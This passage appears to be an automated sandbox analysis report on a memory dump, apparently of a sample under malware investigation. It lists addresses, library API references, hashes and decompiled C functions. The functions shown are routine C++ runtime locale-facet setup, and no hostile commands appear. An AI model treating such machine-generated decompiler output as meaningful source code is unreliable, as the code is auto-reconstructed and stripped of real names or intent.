0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e
0x6dd2bae1
0x6dd2bae1
0x6dd2bae4
0x6dd2bae8
0x6dd2baec
0x6dd2baf9
0x6dd2bb01
0x6dd2bb03
0x00000000
0x6dd2bb03
0x6dd2baca
0x6dd2baca
0x00000000
0x6dd2baca
0x6dd2bac8
0x6dd2ba3b
0x6dd2ba3b
0x6dd2ba3e
0x6dd2ba42
0x6dd2ba46
0x6dd2ba53
0x6dd2ba5b
0x6dd2ba5d
0x00000000
0x6dd2ba5d
0x6dd2ba24
0x6dd2ba24
0x00000000
0x6dd2ba24
0x6dd2ba22

APIs

__EH_prolog3.LIBCMT ref: 6DD2B9EB
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2B9F5
int.LIBCPMT ref: 6DD2BA0C

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD2BA2F
std::_Facet_Register.LIBCPMT ref: 6DD2BA46
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BA66
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BA84

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 9f5b3b543d99bb7135bf3dd3ad33883de20e8a2b990f9d39f9fadac1571cfc80
Instruction ID: 4a36f08b34cb25ac405a247c519a13019a9074de90ab709136990bad5bed4790
Opcode Fuzzy Hash: 9f5b3b543d99bb7135bf3dd3ad33883de20e8a2b990f9d39f9fadac1571cfc80
Instruction Fuzzy Hash: F311A07590812DDBCF01FBA8C840AFDB774AF45718F178009F610A7290DBB59A068BE1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2BA8A, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E6DD2BA8A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t55;
				signed int _t56;
				void* _t68;
				void* _t81;
				signed int _t131;
				signed int _t144;
				signed int _t145;
				signed int _t147;
				signed int _t148;
				signed int _t149;
				signed int _t150;
				void* _t154;

				_t141 = __edx;
				_t110 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t154 - 0x14, 0);
				_t147 =  *0x6ddd6e38; // 0x0
				 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
				 *(_t154 - 0x10) = _t147;
				_t55 = E6DCF161C(0x6ddd6e18);
				_t113 =  *((intOrPtr*)(_t154 + 8));
				_t56 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t55);
				_t143 = _t56;
				if(_t56 != 0) {
					L5:
					E6DD166BA(_t154 - 0x14);
					return E6DD30075(_t143);
				} else {
					if(_t147 == 0) {
						_push( *((intOrPtr*)(_t154 + 8)));
						_push(_t154 - 0x10);
						__eflags = E6DD2C1A4(__ebx, _t113, __edx, _t143, _t147) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t154 - 0x20);
							E6DD33D74(_t154 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t143, _t147, 0x14);
							E6DD16653(_t154 - 0x14, 0);
							_t148 =  *0x6ddd6e40; // 0x0
							 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
							 *(_t154 - 0x10) = _t148;
							_t68 = E6DCF161C(0x6ddd6e20);
							_t120 =  *((intOrPtr*)(_t154 + 8));
							_t144 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t68);
							__eflags = _t144;
							if(_t144 != 0) {
								L12:
								E6DD166BA(_t154 - 0x14);
								return E6DD30075(_t144);
							} else {
								__eflags = _t148;
								if(_t148 == 0) {
									_push( *((intOrPtr*)(_t154 + 8)));
									_push(_t154 - 0x10);
									__eflags = E6DD2C229(_t110, _t120, __edx, _t144, _t148) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t154 - 0x20);
										E6DD33D74(_t154 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t110, _t144, _t148, 0x14);
										E6DD16653(_t154 - 0x14, 0);
										_t149 =  *0x6ddd6e44; // 0x0
										 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
										 *(_t154 - 0x10) = _t149;
										_t81 = E6DCF161C(0x6ddd6e24);
										_t127 =  *((intOrPtr*)(_t154 + 8));
										_t145 = E6DCF171B( *((intOrPtr*)(_t154 + 8)), _t81);
										__eflags = _t145;
										if(_t145 != 0) {
											L19:
											E6DD166BA(_t154 - 0x14);
											return E6DD30075(_t145);
										} else {
											__eflags = _t149;
											if(_t149 == 0) {
												_push( *((intOrPtr*)(_t154 + 8)));
												_push(_t154 - 0x10);
												__eflags = E6DD2C295(_t110, _t127, __edx, _t145, _t149) - 0xffffffff;
												if(__eflags == 0) {
													_t131 = _t154 - 0x20;
													E6DCF1438(_t131);
													E6DD33D74(_t154 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd7851f, _t110, _t145, _t149, 4);
													_t150 = _t131;
													 *(_t154 - 0x10) = _t150;
													 *((intOrPtr*)(_t150 + 4)) =  *((intOrPtr*)(_t154 + 0xc));
													_push( *((intOrPtr*)(_t154 + 0x14)));
													_t49 = _t154 - 4;
													 *_t49 =  *(_t154 - 4) & 0x00000000;
													__eflags =  *_t49;
													 *_t150 = 0x6dd7c414;
													 *((char*)(_t150 + 0x28)) =  *((intOrPtr*)(_t154 + 0x10));
													E6DD2D028(_t110, _t131, _t141, _t145, _t150,  *_t49);
													return E6DD30075(_t150,  *((intOrPtr*)(_t154 + 8)));
												} else {
													_t145 =  *(_t154 - 0x10);
													 *(_t154 - 0x10) = _t145;
													 *(_t154 - 4) = 1;
													E6DD16FD3(__eflags, _t145);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t145 + 4))))();
													 *0x6ddd6e44 = _t145;
													goto L19;
												}
											} else {
												_t145 = _t149;
												goto L19;
											}
										}
									} else {
										_t144 =  *(_t154 - 0x10);
										 *(_t154 - 0x10) = _t144;
										 *(_t154 - 4) = 1;
										E6DD16FD3(__eflags, _t144);
										 *0x6dd7a26c();
										 *((intOrPtr*)( *((intOrPtr*)( *_t144 + 4))))();
										 *0x6ddd6e40 = _t144;
										goto L12;
									}
								} else {
									_t144 = _t148;
									goto L12;
								}
							}
						} else {
							_t143 =  *(_t154 - 0x10);
							 *(_t154 - 0x10) = _t143;
							 *(_t154 - 4) = 1;
							E6DD16FD3(__eflags, _t143);
							 *0x6dd7a26c();
							 *((intOrPtr*)( *((intOrPtr*)( *_t143 + 4))))();
							 *0x6ddd6e38 = _t143;
							goto L5;
						}
					} else {
						_t143 = _t147;
						goto L5;
					}
				}
			}

0x6dd2ba8a
0x6dd2ba8a
0x6dd2ba91
0x6dd2ba9b
0x6dd2baa0
0x6dd2baab
0x6dd2baaf
0x6dd2bab2
0x6dd2bab7
0x6dd2babb
0x6dd2bac0
0x6dd2bac4
0x6dd2bb09
0x6dd2bb0c
0x6dd2bb18
0x6dd2bac6
0x6dd2bac8
0x6dd2bace
0x6dd2bad4
0x6dd2badc
0x6dd2badf
0x6dd2bb1c
0x6dd2bb2a
0x6dd2bb2f
0x6dd2bb37
0x6dd2bb41
0x6dd2bb46
0x6dd2bb51
0x6dd2bb55
0x6dd2bb58
0x6dd2bb5d
0x6dd2bb66
0x6dd2bb68
0x6dd2bb6a
0x6dd2bbaf
0x6dd2bbb2
0x6dd2bbbe
0x6dd2bb6c
0x6dd2bb6c
0x6dd2bb6e
0x6dd2bb74
0x6dd2bb7a
0x6dd2bb82
0x6dd2bb85
0x6dd2bbc2
0x6dd2bbd0
0x6dd2bbd5
0x6dd2bbdd
0x6dd2bbe7
0x6dd2bbec
0x6dd2bbf7
0x6dd2bbfb
0x6dd2bbfe
0x6dd2bc03
0x6dd2bc0c
0x6dd2bc0e
0x6dd2bc10
0x6dd2bc55
0x6dd2bc58
0x6dd2bc64
0x6dd2bc12
0x6dd2bc12
0x6dd2bc14
0x6dd2bc1a
0x6dd2bc20
0x6dd2bc28
0x6dd2bc2b
0x6dd2bc65
0x6dd2bc68
0x6dd2bc76
0x6dd2bc7b
0x6dd2bc83
0x6dd2bc88
0x6dd2bc8a
0x6dd2bc90
0x6dd2bc93
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bc9c
0x6dd2bca0
0x6dd2bca6
0x6dd2bca9
0x6dd2bcb5
0x6dd2bc2d
0x6dd2bc2d
0x6dd2bc30
0x6dd2bc34
0x6dd2bc38
0x6dd2bc45
0x6dd2bc4d
0x6dd2bc4f
0x00000000
0x6dd2bc4f
0x6dd2bc16
0x6dd2bc16
0x00000000
0x6dd2bc16
0x6dd2bc14
0x6dd2bb87
0x6dd2bb87
0x6dd2bb8a
0x6dd2bb8e
0x6dd2bb92
0x6dd2bb9f
0x6dd2bba7
0x6dd2bba9
0x00000000
0x6dd2bba9
0x6dd2bb70
0x6dd2bb70
0x00000000
0x6dd2bb70
0x6dd2bb6e
0x6dd2bae1
0x6dd2bae1
0x6dd2bae4
0x6dd2bae8
0x6dd2baec
0x6dd2baf9
0x6dd2bb01
0x6dd2bb03
0x00000000
0x6dd2bb03
0x6dd2baca
0x6dd2baca
0x00000000
0x6dd2baca
0x6dd2bac8

APIs

__EH_prolog3.LIBCMT ref: 6DD2BA91
std::_Lockit::_Lockit.LIBCPMT ref: 6DD2BA9B
int.LIBCPMT ref: 6DD2BAB2

Part of subcall function 6DCF161C: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF162D
Part of subcall function 6DCF161C: std::_Lockit::~_Lockit.LIBCPMT ref: 6DCF1647

moneypunct.LIBCPMT ref: 6DD2BAD5
std::_Facet_Register.LIBCPMT ref: 6DD2BAEC
std::_Lockit::~_Lockit.LIBCPMT ref: 6DD2BB0C
__CxxThrowException@8.LIBVCRUNTIME ref: 6DD2BB2A

Memory Dump Source

Source File: 00000000.00000002.593260393.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000000.00000002.592671879.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.608295285.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.616707395.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616821720.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.616900454.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowmoneypunct
String ID:
API String ID: 113178234-0
Opcode ID: 9eb5b9398ec300fc044f9fb77d15cf1d68bb1a67995d8dee9331d27a363592af
Instruction ID: 3c2bfb798d3a1011e36bc93a50bdd4d7d6085e7fb24851fd03fa6d865fe93e7f
Opcode Fuzzy Hash: 9eb5b9398ec300fc044f9fb77d15cf1d68bb1a67995d8dee9331d27a363592af
Instruction Fuzzy Hash: 8A11A376908129CBCF01FBA8CC40AFEB774AF95728F174409F610A7294DBB4A901C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 6DD1F567, Relevance: 10.6, APIs: 7, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E6DD1F567(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				void* _t181;
				signed int _t182;
				void* _t194;
				void* _t207;
				void* _t220;
				void* _t233;
				void* _t246;
				void* _t259;
				void* _t272;
				void* _t285;
				void* _t298;
				void* _t311;
				void* _t324;
				signed int _t473;
				signed int _t513;
				signed int _t514;
				signed int _t515;
				signed int _t516;
				signed int _t517;
				signed int _t518;
				signed int _t519;
				signed int _t520;
				signed int _t521;
				signed int _t522;
				signed int _t523;
				signed int _t525;
				signed int _t526;
				signed int _t527;
				signed int _t528;
				signed int _t529;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t533;
				signed int _t534;
				signed int _t535;
				signed int _t536;
				signed int _t537;
				void* _t550;

				_t510 = __edx;
				_t389 = __ebx;
				E6DD300AC(0x6dd783cf, __ebx, __edi, __esi, 0x14);
				E6DD16653(_t550 - 0x14, 0);
				_t525 =  *0x6ddd6df8; // 0x0
				 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
				 *(_t550 - 0x10) = _t525;
				_t181 = E6DCF161C(0x6ddd6da4);
				_t392 =  *((intOrPtr*)(_t550 + 8));
				_t182 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t181);
				_t512 = _t182;
				if(_t182 != 0) {
					L5:
					E6DD166BA(_t550 - 0x14);
					return E6DD30075(_t512);
				} else {
					if(_t525 == 0) {
						_push( *((intOrPtr*)(_t550 + 8)));
						_push(_t550 - 0x10);
						__eflags = E6DD21127(__ebx, _t392, __edx, _t512, _t525) - 0xffffffff;
						if(__eflags == 0) {
							E6DCF1438(_t550 - 0x20);
							E6DD33D74(_t550 - 0x20, 0x6ddd3504);
							asm("int3");
							E6DD300AC(0x6dd783cf, __ebx, _t512, _t525, 0x14);
							E6DD16653(_t550 - 0x14, 0);
							_t526 =  *0x6ddd6df4; // 0x0
							 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
							 *(_t550 - 0x10) = _t526;
							_t194 = E6DCF161C(0x6ddd6da0);
							_t399 =  *((intOrPtr*)(_t550 + 8));
							_t513 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t194);
							__eflags = _t513;
							if(_t513 != 0) {
								L12:
								E6DD166BA(_t550 - 0x14);
								return E6DD30075(_t513);
							} else {
								__eflags = _t526;
								if(_t526 == 0) {
									_push( *((intOrPtr*)(_t550 + 8)));
									_push(_t550 - 0x10);
									__eflags = E6DD211AB(_t389, _t399, __edx, _t513, _t526) - 0xffffffff;
									if(__eflags == 0) {
										E6DCF1438(_t550 - 0x20);
										E6DD33D74(_t550 - 0x20, 0x6ddd3504);
										asm("int3");
										E6DD300AC(0x6dd783cf, _t389, _t513, _t526, 0x14);
										E6DD16653(_t550 - 0x14, 0);
										_t527 =  *0x6ddd6dc8; // 0x0
										 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
										 *(_t550 - 0x10) = _t527;
										_t207 = E6DCF161C(0x6ddd6d7c);
										_t406 =  *((intOrPtr*)(_t550 + 8));
										_t514 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t207);
										__eflags = _t514;
										if(_t514 != 0) {
											L19:
											E6DD166BA(_t550 - 0x14);
											return E6DD30075(_t514);
										} else {
											__eflags = _t527;
											if(_t527 == 0) {
												_push( *((intOrPtr*)(_t550 + 8)));
												_push(_t550 - 0x10);
												__eflags = E6DD21230(_t389, _t406, __edx, _t514, _t527) - 0xffffffff;
												if(__eflags == 0) {
													E6DCF1438(_t550 - 0x20);
													E6DD33D74(_t550 - 0x20, 0x6ddd3504);
													asm("int3");
													E6DD300AC(0x6dd783cf, _t389, _t514, _t527, 0x14);
													E6DD16653(_t550 - 0x14, 0);
													_t528 =  *0x6ddd6dc4; // 0x0
													 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
													 *(_t550 - 0x10) = _t528;
													_t220 = E6DCF161C(0x6ddd6d78);
													_t413 =  *((intOrPtr*)(_t550 + 8));
													_t515 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t220);
													__eflags = _t515;
													if(_t515 != 0) {
														L26:
														E6DD166BA(_t550 - 0x14);
														return E6DD30075(_t515);
													} else {
														__eflags = _t528;
														if(_t528 == 0) {
															_push( *((intOrPtr*)(_t550 + 8)));
															_push(_t550 - 0x10);
															__eflags = E6DD212B4(_t389, _t413, _t510, _t515, _t528) - 0xffffffff;
															if(__eflags == 0) {
																E6DCF1438(_t550 - 0x20);
																E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																asm("int3");
																E6DD300AC(0x6dd783cf, _t389, _t515, _t528, 0x14);
																E6DD16653(_t550 - 0x14, 0);
																_t529 =  *0x6ddd6dd8; // 0x0
																 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																 *(_t550 - 0x10) = _t529;
																_t233 = E6DCF161C(0x6ddd6d84);
																_t420 =  *((intOrPtr*)(_t550 + 8));
																_t516 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t233);
																__eflags = _t516;
																if(_t516 != 0) {
																	L33:
																	E6DD166BA(_t550 - 0x14);
																	return E6DD30075(_t516);
																} else {
																	__eflags = _t529;
																	if(_t529 == 0) {
																		_push( *((intOrPtr*)(_t550 + 8)));
																		_push(_t550 - 0x10);
																		__eflags = E6DD21339(_t389, _t420, _t510, _t516, _t529) - 0xffffffff;
																		if(__eflags == 0) {
																			E6DCF1438(_t550 - 0x20);
																			E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																			asm("int3");
																			E6DD300AC(0x6dd783cf, _t389, _t516, _t529, 0x14);
																			E6DD16653(_t550 - 0x14, 0);
																			_t530 =  *0x6ddd6db0; // 0x0
																			 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																			 *(_t550 - 0x10) = _t530;
																			_t246 = E6DCF161C(0x6ddd6d64);
																			_t427 =  *((intOrPtr*)(_t550 + 8));
																			_t517 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t246);
																			__eflags = _t517;
																			if(_t517 != 0) {
																				L40:
																				E6DD166BA(_t550 - 0x14);
																				return E6DD30075(_t517);
																			} else {
																				__eflags = _t530;
																				if(_t530 == 0) {
																					_push( *((intOrPtr*)(_t550 + 8)));
																					_push(_t550 - 0x10);
																					__eflags = E6DD213A1(_t389, _t427, _t510, _t517, _t530) - 0xffffffff;
																					if(__eflags == 0) {
																						E6DCF1438(_t550 - 0x20);
																						E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																						asm("int3");
																						E6DD300AC(0x6dd783cf, _t389, _t517, _t530, 0x14);
																						E6DD16653(_t550 - 0x14, 0);
																						_t531 =  *0x6ddd6ddc; // 0x0
																						 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																						 *(_t550 - 0x10) = _t531;
																						_t259 = E6DCF161C(0x6ddd6d88);
																						_t434 =  *((intOrPtr*)(_t550 + 8));
																						_t518 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t259);
																						__eflags = _t518;
																						if(_t518 != 0) {
																							L47:
																							E6DD166BA(_t550 - 0x14);
																							return E6DD30075(_t518);
																						} else {
																							__eflags = _t531;
																							if(_t531 == 0) {
																								_push( *((intOrPtr*)(_t550 + 8)));
																								_push(_t550 - 0x10);
																								__eflags = E6DD21409(_t389, _t434, _t510, _t518, _t531) - 0xffffffff;
																								if(__eflags == 0) {
																									E6DCF1438(_t550 - 0x20);
																									E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																									asm("int3");
																									E6DD300AC(0x6dd783cf, _t389, _t518, _t531, 0x14);
																									E6DD16653(_t550 - 0x14, 0);
																									_t532 =  *0x6ddd6de0; // 0x0
																									 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																									 *(_t550 - 0x10) = _t532;
																									_t272 = E6DCF161C(0x6ddd6d8c);
																									_t441 =  *((intOrPtr*)(_t550 + 8));
																									_t519 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t272);
																									__eflags = _t519;
																									if(_t519 != 0) {
																										L54:
																										E6DD166BA(_t550 - 0x14);
																										return E6DD30075(_t519);
																									} else {
																										__eflags = _t532;
																										if(_t532 == 0) {
																											_push( *((intOrPtr*)(_t550 + 8)));
																											_push(_t550 - 0x10);
																											__eflags = E6DD21471(_t389, _t441, _t510, _t519, _t532) - 0xffffffff;
																											if(__eflags == 0) {
																												E6DCF1438(_t550 - 0x20);
																												E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																												asm("int3");
																												E6DD300AC(0x6dd783cf, _t389, _t519, _t532, 0x14);
																												E6DD16653(_t550 - 0x14, 0);
																												_t533 =  *0x6ddd6dfc; // 0x0
																												 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																												 *(_t550 - 0x10) = _t533;
																												_t285 = E6DCF161C(0x6ddd6da8);
																												_t448 =  *((intOrPtr*)(_t550 + 8));
																												_t520 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t285);
																												__eflags = _t520;
																												if(_t520 != 0) {
																													L61:
																													E6DD166BA(_t550 - 0x14);
																													return E6DD30075(_t520);
																												} else {
																													__eflags = _t533;
																													if(_t533 == 0) {
																														_push( *((intOrPtr*)(_t550 + 8)));
																														_push(_t550 - 0x10);
																														__eflags = E6DD214EC(_t389, _t448, _t510, _t520, _t533) - 0xffffffff;
																														if(__eflags == 0) {
																															E6DCF1438(_t550 - 0x20);
																															E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																															asm("int3");
																															E6DD300AC(0x6dd783cf, _t389, _t520, _t533, 0x14);
																															E6DD16653(_t550 - 0x14, 0);
																															_t534 =  *0x6ddd6dcc; // 0x0
																															 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																															 *(_t550 - 0x10) = _t534;
																															_t298 = E6DCF161C(0x6ddd6d80);
																															_t455 =  *((intOrPtr*)(_t550 + 8));
																															_t521 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t298);
																															__eflags = _t521;
																															if(_t521 != 0) {
																																L68:
																																E6DD166BA(_t550 - 0x14);
																																return E6DD30075(_t521);
																															} else {
																																__eflags = _t534;
																																if(_t534 == 0) {
																																	_push( *((intOrPtr*)(_t550 + 8)));
																																	_push(_t550 - 0x10);
																																	__eflags = E6DD21558(_t389, _t455, _t510, _t521, _t534) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E6DCF1438(_t550 - 0x20);
																																		E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																																		asm("int3");
																																		E6DD300AC(0x6dd783cf, _t389, _t521, _t534, 0x14);
																																		E6DD16653(_t550 - 0x14, 0);
																																		_t535 =  *0x6ddd6e00; // 0x0
																																		 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																																		 *(_t550 - 0x10) = _t535;
																																		_t311 = E6DCF161C(0x6ddd6dac);
																																		_t462 =  *((intOrPtr*)(_t550 + 8));
																																		_t522 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t311);
																																		__eflags = _t522;
																																		if(_t522 != 0) {
																																			L75:
																																			E6DD166BA(_t550 - 0x14);
																																			return E6DD30075(_t522);
																																		} else {
																																			__eflags = _t535;
																																			if(_t535 == 0) {
																																				_push( *((intOrPtr*)(_t550 + 8)));
																																				_push(_t550 - 0x10);
																																				__eflags = E6DD215C4(_t389, _t462, _t510, _t522, _t535) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E6DCF1438(_t550 - 0x20);
																																					E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																																					asm("int3");
																																					E6DD300AC(0x6dd783cf, _t389, _t522, _t535, 0x14);
																																					E6DD16653(_t550 - 0x14, 0);
																																					_t536 =  *0x6ddd6dd0; // 0x0
																																					 *(_t550 - 4) =  *(_t550 - 4) & 0x00000000;
																																					 *(_t550 - 0x10) = _t536;
																																					_t324 = E6DCF161C(0x6ddd6d60);
																																					_t469 =  *((intOrPtr*)(_t550 + 8));
																																					_t523 = E6DCF171B( *((intOrPtr*)(_t550 + 8)), _t324);
																																					__eflags = _t523;
																																					if(_t523 != 0) {
																																						L82:
																																						E6DD166BA(_t550 - 0x14);
																																						return E6DD30075(_t523);
																																					} else {
																																						__eflags = _t536;
																																						if(_t536 == 0) {
																																							_push( *((intOrPtr*)(_t550 + 8)));
																																							_push(_t550 - 0x10);
																																							__eflags = E6DD2162A(_t389, _t469, _t510, _t523, _t536) - 0xffffffff;
																																							if(__eflags == 0) {
																																								_t473 = _t550 - 0x20;
																																								E6DCF1438(_t473);
																																								E6DD33D74(_t550 - 0x20, 0x6ddd3504);
																																								asm("int3");
																																								E6DD300AC(0x6dd7851f, _t389, _t523, _t536, 4);
																																								_t537 = _t473;
																																								 *(_t550 - 0x10) = _t537;
																																								 *((intOrPtr*)(_t537 + 4)) =  *((intOrPtr*)(_t550 + 0xc));
																																								_push( *((intOrPtr*)(_t550 + 0x14)));
																																								_t175 = _t550 - 4;
																																								 *_t175 =  *(_t550 - 4) & 0x00000000;
																																								__eflags =  *_t175;
																																								 *_t537 = 0x6dd7c0c4;
																																								 *((char*)(_t537 + 0x28)) =  *((intOrPtr*)(_t550 + 0x10));
																																								E6DD2542F(_t389, _t473, _t510, _t523, _t537,  *_t175);
																																								return E6DD30075(_t537,  *((intOrPtr*)(_t550 + 8)));
																																							} else {
																																								_t523 =  *(_t550 - 0x10);
																																								 *(_t550 - 0x10) = _t523;
																																								 *(_t550 - 4) = 1;
																																								E6DD16FD3(__eflags, _t523);
																																								 *0x6dd7a26c();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t523 + 4))))();
																																								 *0x6ddd6dd0 = _t523;
																																								goto L82;
																																							}
																																						} else {
																																							_t523 = _t536;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t522 =  *(_t550 - 0x10);
																																					 *(_t550 - 0x10) = _t522;
																																					 *(_t550 - 4) = 1;
																																					E6DD16FD3(__eflags, _t522);
																																					 *0x6dd7a26c();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t522 + 4))))();
																																					 *0x6ddd6e00 = _t522;
																																					goto L75;
																																				}
																																			} else {
																																				_t522 = _t535;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t521 =  *(_t550 - 0x10);
																																		 *(_t550 - 0x10) = _t521;
																																		 *(_t550 - 4) = 1;
																																		E6DD16FD3(__eflags, _t521);
																																		 *0x6dd7a26c();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t521 + 4))))();
																																		 *0x6ddd6dcc = _t521;
																																		goto L68;
																																	}
																																} else {
																																	_t521 = _t534;
																																	goto L68;
																																}
																															}
																														} else {
																															_t520 =  *(_t550 - 0x10);
																															 *(_t550 - 0x10) = _t520;
																															 *(_t550 - 4) = 1;
																															E6DD16FD3(__eflags, _t520);
																															 *0x6dd7a26c();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t520 + 4))))();
																															 *0x6ddd6dfc = _t520;
																															goto L61;
																														}
																													} else {
																														_t520 = _t533;
																														goto L61;
																													}
																												}
																											} else {
																												_t519 =  *(_t550 - 0x10);
																												 *(_t550 - 0x10) = _t519;
																												 *(_t550 - 4) = 1;
																												E6DD16FD3(__eflags, _t519);
																												 *0x6dd7a26c();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t519 + 4))))();
																												 *0x6ddd6de0 = _t519;
																												goto L54;
																											}
																										} else {
																											_t519 = _t532;
																											goto L54;
																										}
																									}
																								} else {
																									_t518 =  *(_t550 - 0x10);
																									 *(_t550 - 0x10) = _t518;
																									 *(_t550 - 4) = 1;
																									E6DD16FD3(__eflags, _t518);
																									 *0x6dd7a26c();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t518 + 4))))();
																									 *0x6ddd6ddc = _t518;
																									goto L47;
																								}
																							} else {
																								_t518 = _t531;
																								goto L47;
																							}
																						}
																					} else {
																						_t517 =  *(_t550 - 0x10);
																						 *(_t550 - 0x10) = _t517;
																						 *(_t550 - 4) = 1;
																						E6DD16FD3(__eflags, _t517);
																						 *0x6dd7a26c();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t517 + 4))))();
																						 *0x6ddd6db0 = _t517;
																						goto L40;
																					}
																				} else {
																					_t517 = _t530;
																					goto L40;
																				}
																			}
																		} else {
																			_t516 =  *(_t550 - 0x10);
																			 *(_t550 - 0x10) = _t516;
																			 *(_t550 - 4) = 1;
																			E6DD16FD3(__eflags, _t516);
																			 *0x6dd7a26c();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t516 + 4))))();
																			 *0x6ddd6dd8 = _t516;
																			goto L33;
																		}
																	} else {
																		_t516 = _t529;
																		goto L33;
																	}
																}
															} else {
																_t515 =  *(_t550 - 0x10);
																 *(_t550 - 0x10) = _t515;
																 *(_t550 - 4) = 1;
																E6DD16FD3(__eflags, _t515);
																 *0x6dd7a26c();
																 *((intOrPtr*)( *((intOrPtr*)( *_t515 + 4))))();
																 *0x6ddd6dc4 = _t515;
																goto L26;
															}
														} else {
															_t515 = _t528;
															goto L26;
														}
													}
												} else {
													_t514 =  *(_t550 - 0x10);
													 *(_t550 - 0x10) = _t514;
													 *(_t550 - 4) = 1;
													E6DD16FD3(__eflags, _t514);
													 *0x6dd7a26c();
													 *((intOrPtr*)( *((intOrPtr*)( *_t514 + 4))))();
													 *0x6ddd6dc8 = _t514;
													goto L19;
												}
											} else {
												_t514 = _t527;
												goto L19;
											}
										}
									} else {
										_t513 =  *(_t550 - 0x10);
